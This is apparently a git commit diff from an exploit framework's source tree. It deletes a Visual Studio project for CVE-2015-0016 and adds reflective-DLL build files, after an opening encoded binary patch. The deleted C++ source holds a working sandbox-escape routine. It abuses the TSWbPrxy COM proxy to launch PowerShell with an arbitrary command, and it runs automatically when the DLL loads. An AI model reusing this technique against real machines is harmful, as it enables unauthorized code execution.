zZu$S}r|fIdvV%v3`-$$J(A~r@1pI8>y+C)b(p_11Z`Iuj-Cd`<8+7*>-QA?S@9S>2 z?wY?8<(#9t7wE1_cW>5RpYGnTyU*zEo4R{YcaQ3>^p(InT6eF~-RZi!P?i$@) zue%TF?lZdkqVB$_yYJ}km%1x;iSiP4cZBYa*WD|0_j=vERd;>5yH0n1rMnw-_a)tJ z)!h!={X}=a(_ORPpDDU~f$mTCyzmtlmCY0#lfR0m&-0cP z`ATM%EGw#5T<$H&Uv;A>0Z3*oM%<#AzM|r#QrKKfaP+WY7h@K@2y+z*DH!dz&9B`E5j3y^wORdwFTOcUh6(ex1Inmn|$WTT<*9U{ zC0=w&xpzrPtX}!cm1Q$mSNckpdCGyjq%zuH<;yCHyd^Vz-X+U#0}SQ6(19Q^N)%y{ zfodVb)J1*cXIGYZ^|D3M=|#%~^PoNMO7PN>ML&t~vyF{8<Ef+q~AIRh75eOnL&qFc5 zp?LMs)S~6mwIvIsf+DZvtnk8JElow)Q4%dwQy9{rkh6s3m<0b(j1F_;(3tx(L6k`_zXZ^zTB+&eKpjdkjJ; zMQT}+rK?cKW%#Yczv!m~y>gK>8}t>QXMQL2g9hDg)m`izaed=<(DNctrBF|QCn$N5 zl!yKhpQY%Ri==7N_5I>!(NlW;KBQC7XThTaZ*=Z#)WbAq(#QUoh{r}3|5WK=(mCj} zUk?uvK`G;Lk$$KiuGhoE^l+yh#)c99IQ}5gkJQ62>S0*k#b=|4hsm9PD)cZJ?dj90 zhtCl~DdP!|eykp@(8G2;?D(UIk7_+H>f!Nv{Kh9myqJ|G$^4WEM>#l658tV$m-X-u zdKl-;ct63K!#@>z_CoKkI>tYVi};z zQA%Y$%%X%S{_Ot&e!{u}E%Tzh<*`zT4!s|N|58vWN}nQ(U8im$i-2p`dy z=x0am%JEyyYcFU^eN_pFh$oJtJ|xcR-*ch_f&Vh;@)$k-dwS1DDS~!HrAs)yiINne znni2bx7=uX6JzC7fYQ`!cAeLJ2orx0pHo|@PnPhKdO4>TV-(;2gkNYbTEubN@w=SY zdkHUliF7A#jVQObv?zaGCiU{qe@`#sot6K?^7`{rl(NzO|7q=so>3nAY5g<%jMqGj zxmidZZO55#^^Q|P?@Z~^SpPXeMKO<8!2S0%qOn9ZiS}&1n zPfNJ;pjuI1k?f$-NTL+syAV7=GMM7+n6pV@3fV|fxGa`K^yI}q83WPw^vd@r9saZY z6|#VMmD)r#5R!S>&+tyKe9Ocdm3oEdlQYwgG$q1X01d+}dElc}FpXv!7bKCF!ADdR z^dT8bIY^r#y^G`@QG#kk^dXr+<7frP(2I-WX}q3^@Bi6D2zmK@^i!$QOHbmc zpHhnCsSmjoU?F)+{3U*SbGm@P482u^a+ia5qhl`0U%m2`;)(u*m8d}6OtZJ({9gG< z^W|+E+eJJD%}OhPpZYX9{(EP97c~3=@RA!E<(cLb;-cx&lrzQ=U(N!L%>b{>JVT0T zTPPh-foi*i>jQmDvQso{i$UXy;Uk=VKLw~+F~>x6U@52T4S*3BiCHC2O2 zeb+sGasTh=w}Vps|D{2%6aV_d&m59r<@|U5YNVh3>z}?_>is9qG5_b^z8LP6djG{q z|J}c6e*6E9U4B}df7-8$|DWanLv`$5^rrBCa-%&+?!AWIe{qKY?q4+jPh0z+TK*jQm z{{!_8{_58cJ^Y*BZg}K(zkl?x$N#YLi9i17$*2DO^fS*s_m}5i`0L+Z{QFBUzw+v) z%?(?&zV`YXZ*FT0ZExDKv$>_UZCCs5J$v`k%%9)gV^)-&7 zg~f|XN^e`d z-#IzYm4EFN**$fdr(pVw!t1V|IScm}=G=6%p#RUu|G$F%Wbw;~?jZJLb2XPz(F zZMVApQezv`#t%UtZW0=cPKO9=KrX1*9{($$?Tak zv(!1IuYUKd*RA_i-B;a`yzjHU`7qD@pf_({tc>tF$$Bwz0?#1C$yK7b9$bBji{Oe! zTsy86wbXnUu71SHvjA~X+#`r<#htFW2(FLBbuiynTsw(7&UA8TBTnu&#L0U(amN|| zIP>elHJZ2+%vbIW#mUnvaq_%MoID-SQrBOu@5FWB3QSxN^&Q-PH}_ATlggg=pgf5w z_k?;+C6(+?H}0zT<4Rb&BPg*^ZO4_bc5?U7h$Cp8+a5(u@*MUM_43rH5l_c=mpNkb zF0$OAG$J?ioc1o1--xH?H&HKl1j0ry_q&bIYAccUI{^;h$+32FWh#18AGsG3K0tk^ zRo<=T^qn~3jkuD(je5DqZNycz$zSflWq(cia!uU`GV$g5UD%W_&$gsKCVmfESK80) ze~-Es+)~cJ2dyo7(;jlC)`;2$SRc7h5;pnCJ*d>r|V+<^%47TL~QfiUHXCSA73*e_I(x~ z!tWkXFYQnIhuv2G33=D10} zll?ID?y&armhyhey}#Wqq<>2NOglkvR@js;{a235!gi4UY`32y z)_zy&CH>r9PwDS=mVSRW>;7T(OU41azQa2HmHcIVup0z7Zf89n-K6%ie0hQ+ zcSva=#@FM?_VRJj<3lCA9v>?DPAfnA_#nqCXtNV(zx~*9wtee< zT^Yyh{a}YR*6Q<%wzEqA*LJqO+}?J(v8OZbwhQ|%PPfahvi<4zVS#dg((TkzuD5Qd zmh!lz+o>{+>vq~v?teX&o#_3v*F)F8vY)12LAJ22*Pe2}(e>J2uBWco9$P)+_*Kf) z^}4ZKZ&NRGy!Cjy-B!;Ibq{hdM@*N$vur=Q{9DT7fGNK+9!mKYd(-91^HuG1`IY(} zvFuCAUwHg=J>PVldiu!6SLRG&<>i4*2JPplgzMT8n{{zkUlFt-06IF`(Ic~sz z>h?JheubPRf1aEtr^p5JACXJs?~>IIb$)+Ec9FkF_K;7Lz2q;G{p1(OLGr8QFjSb<;xL>e+r47Xus5jStCGrDW zt<;=upD&Sr#q^8FZt6|Has9Q9UqyWb_2#<9NB*cu&-hEo0qRXZ@KBF0`Yacsevlj` zKS_?0&3K$3KSOa*;eqo+tkq z+4&>geov9zeX@`HS3^!x|Ci)6`6uKI z`G@2j`8(t}@)yZP^4H1poFRXU>|%d>2RTQ5gdCv$UF13H_0^qH4b;Dr`XcpFvY*GtymgtU zeh>9groV#h{IPD&9&&)`myzAne}ddV9wGb4(XBH&oaH4HK`V@S$-Y4#Q4`6J>&l&IYHiUnDLv)N$O9L zJ=9-HPE&t3*-iZ=6ubF^2ewTGXA^CbJTZ`i{wYh1;)RYJWu^&WkWZ3B-> zX>yL`T}Td5|0m=q`Ge$sw$FRWaq90Q&r|OwC#e7TX}itV<9>>@8EyUEpL57|j>Ae-x6FWFpY`N-zF$xk-dB>}RzZU~ai zc|Js5#qz>r7dc8c=g}D1jPr4_8Mph$W*knC&A8i7HsfTH>}Gi>vKhD1WHV08l1)F( zkWD|yl1)Fzk&WHv$(vZ-9N9xIkS`(^$rqDNKY0gP(T>e|-i)i}y1+&KI~m`-!0tWd z%cyT4zl-c8o9hA}`Eu(0S#z`F-Rt*^E-wHg zc9Gp=54oP~C9fm<$rqA?_5{-bn5vZzA`TJ>(SmBJwQxVse)J4sxD+3AsSN zlw2aeldQg=_kT0lMZS#eA-{|4CBK{OCtpquk{iiU@)mNO+(b^0o5@M?d&z0?Rpbo$ zedHY3N1h{JO)iqJA?-a!tLcame|UF1IU4dj0E zjpP*hCh{!#W^$Iio17=_As5KEl1t><$m&_Wzd^E#ypQZ5A0&IpcaZ($L*yViLJpIU zlVjv|av%92azEL@3y>7Kifq1Pt0vD&SiN9prxUadMjM;00BNTt&{2t-oKzh&xBFp}t72CC`(W zlbz4${ar_Pld&k7<-FwMWc-(d_1?k33$!4)iX0|alVju>av!;t+)rLkPLbDt*@D|wde;00xtTtm*2Ysm%jI&z7;mF&#$czN{kbdzhy4dhy~kGz!}FzGMR=|d(x zIcn0A<0d^hVbV9~^huMRoHpsn8593<9Y1H{ljlr)a?!;1>iF{}KH2$Y9&fUn>}b~U z8^|?epNUTnnD{;&KVnv3MB z`!&y#*OAS03_Y($z8=#~zb9?Q`%XI_!R#PAw{fU$L_6yzd3qk9d_N6Yos`pW)jK31-u=6lM=S##%t{9|Ri)Os^})68FxuhQ)0SL|HJ zzpreE`hC7wn~ATFQ`cE6UuD_#@?F%~e0KV_1$w=PfuzvoRgSmjyUWKBO^=gI1|Ib@5TrzzizX{YCr%CBLuFPTkiSlY9) ze|p}W{A#DyW4H(NlC{(GFYhk5zn(97yxc$Zyu?cV&AdUgMX%p*yj*`hzw&r_+|u(> zwg2*cq1cD)yu28OpEGOZoQrl7D49(DOhm_0jW`5+P#v;1nO=Q+!-c6y#@r9OHdV5R?PuI!Iy`8DZf{;bT7HZ1KUUvL`M^Uq8U zGM`M&NhSwjndfKM3)}V5qNYY>K3auk9=3eJXv#DFN32}t!fTD5ANR)dq2AsDdw;X| zdb|Dnspo^5(q%rMoV`qKg=N05e6eflBXy7%`pm88`BvInzH+tOubww9zuM{f(-r&C z^T_4b=%qhbj;EeCF5h%&r{|f+%Ew2~L)E|b_OWlb@2{R0ezM%3^!)8gee`@Y8Bg>G zQ(6kaN7#(~GH#1ABd-}z&B!U^rZ^ez#F-Jn*tO~5rYD;oX^xy3 z;Z0AH?+e74Go`TzbL8c?iZdhq@B8`Jxj!%Ztv>%!{hJ)teYw}8Wee&i?|Nk>sLW}- z9rF=+OD5GWpIRbX{pxVMTsfwkGBbR|l8k9it!d{-38m#EYX@_`;()r&c{m6Xz-atXo~BRyS9x)lI8n5@!*T%kuxXz~6>A;_gKF zQ}9u8U2T=BZC)znm(#qC7fo{SZ_;c;co)1$h|tQ=Vsq^1QG~d3rZ0Pum9NX%fDxHQ2re+t*OMn&4HEKoE(x9WhR@L{eQ1xxgRsDfwsvddQcdsot z@E=l3n-+N;R$E~OfbOL+2VOonyQ^Z0!`N=6t3f&^(p4kfQdQrCbnBO+ZCq;ofj72K zoolIb^;Rnv;<}oa7tAqTcNP9l3O>vI)^$gnk?$JBUDM=>)v-P%&5!Zo>hIwvACn_2 z_9Vx&x_nIKINXPqS$_%t6LTD-&S$WXy^#2$rh2qX{l2v&ljm+f?5Cv?pKTDVzqD4J zf1pmC-|SN7cb`{s6;@`K$CicjcVfN_%Bg>MwOZHvEbR3ewaziCmIblC7Id*Cux;rF zM-XRAjoR4zyxQ3I6}7SX%W9+JIpt!!6ynu4E>jn_?Nt{Z2&xO4Z&MdKZdPkb=M`Kr zotJ+R>~n$L%0B+`CfK{YBttuhth0`bZU36qmR1+)vSuH@g*Z>(C7OrrR>OX3^!0m` z+5j(ki>$+P+I6t=x_v83%L+Bw>e$k9U;OX4D0S*qrJ9)+k|;;@B3149jFn#Uu)M9_ zXW4K!Y*^x~T%=Yu)q1tA4)*O*tG>4^R^PZ{*QVa{&@OfA0&H8oW93t|C1+u2zAC$j zZ5NRAR=-$lrPRM>o+>ps;8EfY6{ia zC9$gT;@~2$98aq(vEjBAu;Jy(_0;m1Zg2D*^h>Mnz@E_Fd1+4^GUdl<@=^GGY@-zj z|0(=^a0EPCvl1MZTMFixBjYS z>eA+W7hmeQYq6`evamc~n{~#j!%KtORy`O?>#Xsz+8Qs-KD~}-Wi=0=T;^li-LYU? zsFS+%!nakUPD`yinLM^Wh<1Tr_EAaA{p`kgWVIv8Lwp&d_4u?3$7LnPCyZ}6UiD9{ zEu5=8Ha&uKIJ{{Ot34l9D*X#xj{JTLVdqmyrT(t6?Y_T9xWB>+LvOE7ty|>n^{LOc zjKHGG7vuP0A>WW3OMX#c(m-@X4k3C|t zbq~HN-__mS)veT}ORy%cjs1>YokwxW7wkHQm4~~P+kv%JZQSFqFQELGiQsg1SJv%0=&?}!NxtTgvffPf%O$3< z4s?}UP(5F@ueW_iYYc1iqBb~8@m}=}*|w*v>-dS-4JSISMZkA;_G0N>^=G0vcnmw; z+J1ZIhp`?2#-b&+cSfxP*0w8t6pQR)&2Usy4!F8gEaIH%%ig%x>cJ%kBHbOwItNz7YUs>*Df>>`sy&%1%We3hYV^ZpEyKa&2_pLq@6w^?T zA%CLoohMT>XFKx7^}j*ytsHzS1bCa zwd%FC;`c$z&h!G~AGE^zBAWhIa?l1MmXFl#s@qQV#!g`QYSc+5G6Tr1XK>yd6@$%6v~ z4hL?ltbJ#?JJiSYy5Q`@Kj5n3lIRY#d)K~OckMBwmVIvj`&qSiQgePu;_Y3)e2-~axWJ9h_nwS@eKB%OBn6Rg)wSfsGH zzFPa%-#;vQ+H*12i)PzGHrtI{s9(q?o{d7koR$~nqcDGQWmD2tRO%6Url$2vb3<$B5n%4SL*7(>h z1}USIaY~baf}EsGQ)Vdhlm*Ip%H^C#x`xt2>7xu&n)#;vOU`}{`A_Zlvy0Bo$Mg>) z|E2V@KmXW170&S-Haw<}b7?}$*p!ypx7bg!zYC?QgJY4Ip{HXEFUDH%51)GYA|@F9 znGOt$X!+3R3crz%|G_>>rV;<^L$3^ZwE7Ld5B(p#$xr#k-!gs+<3ES^-yJ+NxK6z` zSRDMox$}Q;z)Gdsg0d8O%%@xMR!)58B!>dFUA&E62@ciiAQr_&jE z&gp)~g8tt|ul>jS%Wqxyx!1eXS)BWY$!}f6zs`u~G!tC8iaV#7cr5k5`k#NBh9To9 zULje}X65-ThAS&v1?h&zaD=s+aU%p@178il9NtMO+l1xzLUhaEjZX5Fv?5o*Oa5Xk zvaJsOJbKwKeB}=b$*EQVMx(G0x$YU;iW!L!e0jeS@Hm+)NdGG${T~1cwd5-efkS{(f<%$ z^lmhYw2x`C`;Y7M-anW0TzdAnXV~FDp~kU?8hkS;b+#vYvpDu`5?}n=?(G(My9NH~ zEzmUhv&K)qTd6<)pyzvcz5M#?_^ai!o~vAeti_w_>O8NncXHmv?<+q-_cHShFyG%* zn(O-`r}g+|TEvVIZQL$njM*k}WPin(_;1VKvjs5L%d^Df&$XOegJ%^32-`)j!TU@Ji~JP)@P9>l zkcV)hZASdVkUxf(IIqgd7at`{eMGjv%l4g+hZsH#Ik-{hGYt71cq=XB({ z`x(d!JeZ4uvfPk+;iV4kkdBM7mM*qeL0$qc<$56xUy3+VH^}e8%f9C!zxhtA$%XAN zKtA4})Nc@e0`hA(>APRUvsuXh4SzYp@^9&r@XZK|OrhWU5f-`Pa@=IehyxaX$tZKSE23*ABKD$UfLo2KBaz*i5n8<>8o)aa}D0QA-o3i zB)sH<|A|#8cxg|OfvvjEB4318$R`JRaGTC21bOv!*pI(aY8&LQ;hhN2Lmp^Bdm=1y z(N4_GL%0g^*YIhCWs$uIytIE5@-g@nwkIIJ2`_bc0kZlA9ri(v1yDZXq(#C@9FgbW z#CCx6!OQjnWaG^^?uZ|T9D)zMhIo+EyKxM$zq63vhPU#8bnMajR6)K2-j6t!K(@e3 zoSl##hL?P@kY_LtB#bz+fZ-+Z{Rn#@1Mo?NgOGdSpGG(g*$SUR82`Vk@SnO?n~S_W zsPh;3B)sJR3CI^2_U%>b^YF7sn}fV;pN`{)EW&58UF2tR!7Rr*1=({zhkGGc-mc4X zL9RQ9c18U4kO_FPd65qv(%T<}-1kBBX~a1I`FHRyA^Z!-y?4T1ir5Y*b3>{S7Wqqf zX`d40{;;lF4DyfQ{fLu-d^Cb~kuc==U1%GGpM|{oZXJIcS8r9IC;ey0oLCDOhGiT_7dS%gJC4_`z$54rJP#Q$5|lRzGWmwehGukD7tVY?sl zh91~F!U4!ly@)IEAzz0NAS{!&x80At5f=Fzy!6cs{!jQU!t;u`eFT2*Xjxe}I>L{0-zS52J1fhaf)>FLizv^23jy zOl*%sHa)8A(+qhW-r7gVC*Y+lk>8f>h%fURWzOPZ^g)rgF)UK%7|M2$GG|c2B4r++ zghk5SI0=iC`D_vv`D=!)`CpIe?J~DZ=4446kuvv4!Xjnfk%UFc+#(5!lzBuF7AbRJ zBrHH)b} zTi~``AMa@QoWwsK5o3FgWyV(sHimYwhX5KiRgQ@*soGo@+Pb|B$cgIU2=3MfWsz96Q?G)zfuXZ{yLfj%!+b zI<7c*p$g($jm;UK+CUc((O+pXjmv9)P)B{1&;r=VB`zQuaiSp1}V$pCV&R zcjR9Dd2nx}E!chRBwpp-9qB16?dn}|B$fFDdm<+z?Vfh|y>@eJ&rO{tyN*Y?H+xPT zYdI?azJ2ZHyIR|OBAY#1%K2>Da_&;LZ8@t>+qRT<4#~G|G3^Fea4g;w`<1n3t#{Bj z=pPIWh6kgAvBAW6|9EmdH9kM?oN!MxO!y`O6QPOdM0_GKk(@|RWF~SGa}&jh`3dKw zd$M8DHyM}=O{!U(Q&5O&+%xVS_m2n1!{f2>KID}epB>MR=f?}DlS* zbbh)pU7A)it{Kmacg8;xoC(jwX8LCOXHqk>GufH^Okt)pgB{3X920|2xl*2#H|0+S zQ{hxB)tBl|rBbu0Y$~5Bq)I6@;2Q7@cnACg!GZ8VY@lzTe;_q5JCGg74-^JU18UGU z=o$2)U4v-X*kIpa|6poxb}&1bA1n-(2Gx*j$TQ>}@(%@v!b7p4zM=l1)X?lub|^no z7%B~^Vb`!{*gNbW4i1NhW5a#J{llr@+2QPPez-7P8df8&5zmNs#6J=o36I1^`bPRk zQX{h?*^&H6VWc#oMqQ(xQSYdKG&mX_jg9t=_K&7UXGgQ6`O(5?X;h85#yn%*G5=U_ zEIbw)>l^DIOO4HrWykVkg|X6@O1sjYv^VWfhtkn>Je^1<)9G|3olDQ9i|P5a^R)YP z!)f2?!0FKG=;`?B#OdVe^y$p$-08W~#nbbro#XEDhH>9`U_3M)9gmMEU{mSw%y@2m zZoK$A+E#QjKAD(IPNpX_lex*c$>QYvq;twW)iC9o3QUEjqEqpy#8h%BJ(ZctP0dXe zr{<@e)9&epY2S2UIy4=fj!!41lhf(x%ye#gZn`)VW&$&zndnS>CNYzo zNzY_vax-%?#Tl$%lgGFXGjOKdsfLs<6-b3r(NsK@NF`J0R3?>6&83Q|`IK|OJr(EN~d*gf1Z>>CaYhlZoW@!`a9ayUJl z8O{yQ4Ht*!hn*wtk%kf9NMIy15*>+;Bu0`W>57d8u+s)ust>jrfVGBTuTfZR z95$PP)h1!LX;^Lswwr_X&cS|*u;6*vu+y^Q2H3F=mK=aBhhWW7*mE2foq$azVby8a zbq1E5gKf{jx{I*yd04m;HtvR%H^9z)u=D_IJp^ly!rtSs_#F1oiMdG0DF*;0Xyh&;J;dN|B4=3L?4|;FLk1yy3teR7|9qI#BtK&U>tom SX|)cLyzSm@fq!!?@P7ea#LPti literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln b/external/source/exploits/cve-2015-0016/cve-2015-0016.sln deleted file mode 100755 index 8edd55e5b0..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln +++ /dev/null @@ -1,22 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 2013 -VisualStudioVersion = 12.0.31101.0 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt b/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt deleted file mode 100755 index 8194dd462a..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt +++ /dev/null @@ -1,48 +0,0 @@ -======================================================================== - DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview -======================================================================== - -AppWizard has created this cve-2015-0016 DLL for you. - -This file contains a summary of what you will find in each of the files that -make up your cve-2015-0016 application. - - -cve-2015-0016.vcxproj - This is the main project file for VC++ projects generated using an Application Wizard. - It contains information about the version of Visual C++ that generated the file, and - information about the platforms, configurations, and project features selected with the - Application Wizard. - -cve-2015-0016.vcxproj.filters - This is the filters file for VC++ projects generated using an Application Wizard. - It contains information about the association between the files in your project - and the filters. This association is used in the IDE to show grouping of files with - similar extensions under a specific node (for e.g. ".cpp" files are associated with the - "Source Files" filter). - -cve-2015-0016.cpp - This is the main DLL source file. - - When created, this DLL does not export any symbols. As a result, it - will not produce a .lib file when it is built. If you wish this project - to be a project dependency of some other project, you will either need to - add code to export some symbols from the DLL so that an export library - will be produced, or you can set the Ignore Input Library property to Yes - on the General propert page of the Linker folder in the project's Property - Pages dialog box. - -///////////////////////////////////////////////////////////////////////////// -Other standard files: - -StdAfx.h, StdAfx.cpp - These files are used to build a precompiled header (PCH) file - named cve-2015-0016.pch and a precompiled types file named StdAfx.obj. - -///////////////////////////////////////////////////////////////////////////// -Other notes: - -AppWizard uses "TODO:" comments to indicate parts of the source code you -should add to or customize. - -///////////////////////////////////////////////////////////////////////////// diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp deleted file mode 100755 index 753bd5d368..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp +++ /dev/null @@ -1,46 +0,0 @@ -// MyExploit.cpp : Defines the exported functions for the DLL application. -// - -#include "stdafx.h" -#include - -#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace -#define MAX_ENV 32767 - -bstr_t GetEnv(LPCSTR env) -{ - CHAR buf[MAX_ENV]; - - GetEnvironmentVariable(env, buf, MAX_ENV); - - return buf; -} - -void DoTSWbPrxyExploit() { - HRESULT hr; - IMSTSWebProxy *pUnk; - - CHAR cmdline[] = "TSWbPrxy.exe"; - STARTUPINFO startInfo = { 0 }; - PROCESS_INFORMATION procInfo = { 0 }; - - hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo); - if (hr == 0) - return; - - hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); - if (hr != 0) - return; - - pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD")); - pUnk->Release(); -} - -DWORD CALLBACK ExploitThread(LPVOID hModule) -{ - CoInitialize(nullptr); - DoTSWbPrxyExploit(); - CoUninitialize(); - - FreeLibraryAndExitThread((HMODULE)hModule, 0); -} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj deleted file mode 100755 index 3a252cceaa..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj +++ /dev/null @@ -1,105 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450} - Win32Proj - cve20150016 - - - - DynamicLibrary - true - v120 - Unicode - - - DynamicLibrary - false - v120 - true - MultiByte - - - - - - - - - - - - - true - - - false - - - - Use - Level3 - Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) - true - - - Windows - true - - - - - Level3 - Use - MaxSpeed - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - CompileAsCpp - - - Windows - true - true - true - - - - - - - - - - - - - false - - - false - - - - - Create - Create - - - - - - \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp deleted file mode 100755 index e23ee055cf..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp +++ /dev/null @@ -1,24 +0,0 @@ -// dllmain.cpp : Defines the entry point for the DLL application. -#include "stdafx.h" - -DWORD CALLBACK ExploitThread(LPVOID hModule); - -BOOL APIENTRY DllMain(HMODULE hModule, - DWORD ul_reason_for_call, - LPVOID lpReserved - ) -{ - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); - break; - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} - - diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp deleted file mode 100755 index 0aef05abb6..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp +++ /dev/null @@ -1,8 +0,0 @@ -// stdafx.cpp : source file that includes just the standard includes -// cve-2015-0016.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h deleted file mode 100755 index 677e68a9fa..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h +++ /dev/null @@ -1,16 +0,0 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#include "targetver.h" - -#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers -// Windows Header Files: -#include - - - -// TODO: reference additional headers your program requires here diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h deleted file mode 100755 index 90e767bfce..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -// Including SDKDDKVer.h defines the highest available Windows platform. - -// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and -// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. - -#include diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln b/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln new file mode 100755 index 0000000000..eff992d77c --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj new file mode 100755 index 0000000000..33c6bd9515 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj @@ -0,0 +1,357 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj new file mode 100755 index 0000000000..0eeda45bd9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj @@ -0,0 +1,268 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + + + + DynamicLibrary + v120 + MultiByte + true + + + DynamicLibrary + v110 + MultiByte + true + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + v110 + Unicode + + + DynamicLibrary + v120 + MultiByte + false + + + DynamicLibrary + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks 